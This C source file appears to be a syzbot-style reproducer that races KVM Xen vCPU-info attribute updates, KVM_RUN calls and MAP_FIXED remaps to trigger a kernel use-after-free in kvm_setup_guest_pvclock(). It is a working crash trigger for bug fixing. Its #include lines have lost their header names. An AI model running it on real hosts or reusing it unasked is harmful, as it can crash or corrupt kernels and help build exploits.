// SPDX-License-Identifier: GPL-2.0-only /* * Targeted reproducer for the KASAN use-after-free in * kvm_setup_guest_pvclock(), as /init for a minimal initramfs. * * https://syzkaller.appspot.com/bug?extid=fb7c2dd166d3ea63df2a * * Same underlying bug as syzbot+0948c82180d475ad24e2 (see * xen_shinfo_race.c), via the per-vCPU vcpu_info cache instead of the * VM-wide shared_info cache: * * Thread 1 loops KVM_XEN_VCPU_SET_ATTR(VCPU_INFO_HVA), activating and * refreshing the vcpu_info gfn_to_pfn_cache and raising * KVM_REQ_CLOCK_UPDATE. Thread 2 loops KVM_RUN; each entry attempt * calls kvm_guest_time_update() -> kvm_setup_guest_pvclock() which * writes through the cached khva. Thread 3 remaps fresh shmem over the * cached HVA with MAP_FIXED, invalidating the mapping and freeing the * old page. A refresh which misses an invalidation (no memslot overlap * => mmu_invalidate_seq never moves) publishes a stale pfn, and the * KVM_RUN path writes to a freed page. */ #include #include #include #include #include #include #include #include #include #include #include #include #include #define NR_PROCS 5 #define MAP_SIZE 0x10000UL #define ITERS_PER_VM 2000 static unsigned long map_addr; static void *remap_thread(void *arg) { for (;;) { void *p = mmap((void *)map_addr, MAP_SIZE, PROT_READ | PROT_WRITE, MAP_SHARED | MAP_ANONYMOUS | MAP_FIXED, -1, 0); if (p == MAP_FAILED) _exit(2); *(volatile char *)p = 1; } return NULL; } static volatile int vcpu_fd_for_run = -1; static void *run_thread(void *arg) { for (;;) { int fd = vcpu_fd_for_run; if (fd >= 0) ioctl(fd, KVM_RUN, 0); } return NULL; } static void worker(void) { struct kvm_xen_vcpu_attr attr; pthread_t tid_remap, tid_run; int kvm_fd, vm_fd, vcpu_fd, i; kvm_fd = open("/dev/kvm", O_RDWR); if (kvm_fd < 0) { perror("open /dev/kvm"); _exit(1); } pthread_create(&tid_remap, NULL, remap_thread, NULL); pthread_create(&tid_run, NULL, run_thread, NULL); for (;;) { vm_fd = ioctl(kvm_fd, KVM_CREATE_VM, 0); if (vm_fd < 0) _exit(3); vcpu_fd = ioctl(vm_fd, KVM_CREATE_VCPU, 0); if (vcpu_fd < 0) _exit(4); vcpu_fd_for_run = vcpu_fd; for (i = 0; i < ITERS_PER_VM; i++) { memset(&attr, 0, sizeof(attr)); attr.type = KVM_XEN_VCPU_ATTR_TYPE_VCPU_INFO_HVA; attr.u.hva = map_addr; ioctl(vcpu_fd, KVM_XEN_VCPU_SET_ATTR, &attr); } vcpu_fd_for_run = -1; close(vcpu_fd); close(vm_fd); } } int main(void) { int i; if (getpid() == 1) { mkdir("/dev", 0755); mkdir("/proc", 0555); mount("devtmpfs", "/dev", "devtmpfs", 0, NULL); mount("proc", "/proc", "proc", 0, NULL); } void *p = mmap(NULL, MAP_SIZE, PROT_READ | PROT_WRITE, MAP_SHARED | MAP_ANONYMOUS, -1, 0); if (p == MAP_FAILED) { perror("mmap"); return 1; } map_addr = (unsigned long)p; printf("vcpu-info-uaf: starting %d workers, hva=0x%lx\n", NR_PROCS, map_addr); fflush(stdout); for (i = 0; i < NR_PROCS; i++) { if (fork() == 0) { worker(); _exit(0); } } for (i = 0;; i++) { sleep(10); printf("vcpu-info-uaf: alive %d0s\n", i + 1); fflush(stdout); } return 0; }